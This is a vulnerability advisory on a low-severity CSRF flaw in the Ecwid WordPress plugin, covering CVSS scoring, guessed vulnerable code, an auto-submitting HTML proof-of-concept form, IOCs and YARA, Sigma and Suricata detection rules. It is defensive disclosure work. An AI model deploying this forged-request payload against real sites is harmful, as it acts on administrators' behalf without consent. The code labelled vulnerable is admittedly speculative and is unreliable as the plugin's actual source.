CVE-2024-13795

Executive Summary

CVE-2024-13795 is a Cross-Site Request Forgery (CSRF) vulnerability in the Ecwid by Lightspeed Ecommerce Shopping Cart WordPress plugin, affecting all versions up to and including 6.12.27. The vulnerability exists due to missing or incorrect nonce validation on the ecwid_deactivate_feedback() function. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in site administrator (e.g., by clicking a malicious link), can send deactivation feedback messages on behalf of the site owner. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating that exploitation is currently not widespread. No public proof-of-concept or exploit code has been identified at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a WordPress ecosystem component, the plugin is installed via the WordPress admin dashboard or directly from the plugin directory. The lack of a patch from the vendor (Lightspeed) means that all current installations are potentially vulnerable. Users should monitor the plugin’s update channel for a patched version and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need any privileges.
• User Interaction (UI): Required (R) – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality Impact (C): None (N) – No data is exposed.
• Integrity Impact (I): Low (L) – The attacker can send deactivation feedback, which is a low-integrity action.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction and only allows sending feedback messages, not full account takeover or data exfiltration. However, it could be used for social engineering or to spam the vendor.

Deep Dive & Mechanics

The vulnerability resides in the ecwid_deactivate_feedback() function within the Ecwid plugin. This function is intended to collect feedback when a user deactivates the plugin. However, it lacks proper CSRF protection (nonce validation). In WordPress, CSRF tokens (nonces) are used to verify that a request originated from the intended user. Without this check, an attacker can craft a malicious link or form that, when visited by an authenticated administrator, will execute the ecwid_deactivate_feedback() function with arbitrary parameters.

The function likely sends a POST request to the plugin’s deactivation endpoint, including feedback data (e.g., reason for deactivation). By forging this request, an attacker can submit false feedback on behalf of the site owner, potentially causing confusion or reputational damage.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not related to the underlying web server (Apache/Nginx). The attack exploits the plugin’s lack of CSRF protection, a common issue in WordPress plugins.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable function likely looks like:

function ecwid_deactivate_feedback() {
    // Missing nonce check
    $reason = $_POST['reason'];
    // Send feedback to vendor
    wp_remote_post('https://example.com/feedback', array('body' => array('reason' => $reason)));
}
add_action('wp_ajax_ecwid_deactivate_feedback', 'ecwid_deactivate_feedback');

A patched version would include a nonce verification:

function ecwid_deactivate_feedback() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'ecwid_deactivate_feedback_nonce')) {
        wp_die('Invalid nonce');
    }
    $reason = sanitize_text_field($_POST['reason']);
    // Send feedback
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: A WordPress site with the Ecwid plugin (<=6.12.27) and an authenticated administrator session.
2. Craft the Exploit: Create a malicious HTML page that auto-submits a form to the vulnerable endpoint.

<html>
<body>
<form id="csrf" action="http://target-site/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="ecwid_deactivate_feedback">
    <input type="hidden" name="reason" value="Malicious feedback">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Deliver the Payload: Host the HTML on an attacker-controlled server and trick the admin into visiting it (e.g., via phishing email or link).
4. Execution: The admin’s browser sends the forged request, and the feedback is submitted.

Blue Team (Defense & Detection)

• Monitor for unusual admin-ajax.php requests with the action=ecwid_deactivate_feedback parameter.
• Implement CSRF tokens in all plugin forms (pending vendor patch).
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php without a valid nonce.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=ecwid_deactivate_feedback and a reason parameter.
• Logs: WordPress debug logs showing ecwid_deactivate_feedback action triggered without a valid nonce.
• File: No file-based IOCs; the attack is purely request-based.

Detection Engineering

YARA Rule

rule CVE_2024_13795_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Ecwid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13795"
    strings:
        $ajax_action = "ecwid_deactivate_feedback"
        $reason_param = "reason="
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-13795 CSRF Exploit Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the Ecwid deactivation feedback endpoint without a valid nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=ecwid_deactivate_feedback'
    condition: selection
falsepositives:
    - Legitimate plugin deactivation feedback
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-13795 - Ecwid CSRF Deactivation Feedback";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=ecwid_deactivate_feedback";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Vendor Patch: Await an official update from Lightspeed that adds nonce validation to the ecwid_deactivate_feedback() function.
2. Temporary Workaround: Disable the Ecwid plugin if not essential, or use a security plugin (e.g., Wordfence) to add CSRF protection.
3. Web Application Firewall (WAF): Create custom rules to block requests to admin-ajax.php with action=ecwid_deactivate_feedback unless a valid nonce is present.
4. User Education: Train administrators to avoid clicking suspicious links and to verify the authenticity of deactivation requests.
5. Monitor: Regularly review WordPress logs for unusual admin-ajax.php activity.

Valters IT
DevSecOps & Cyber Threat Intelligence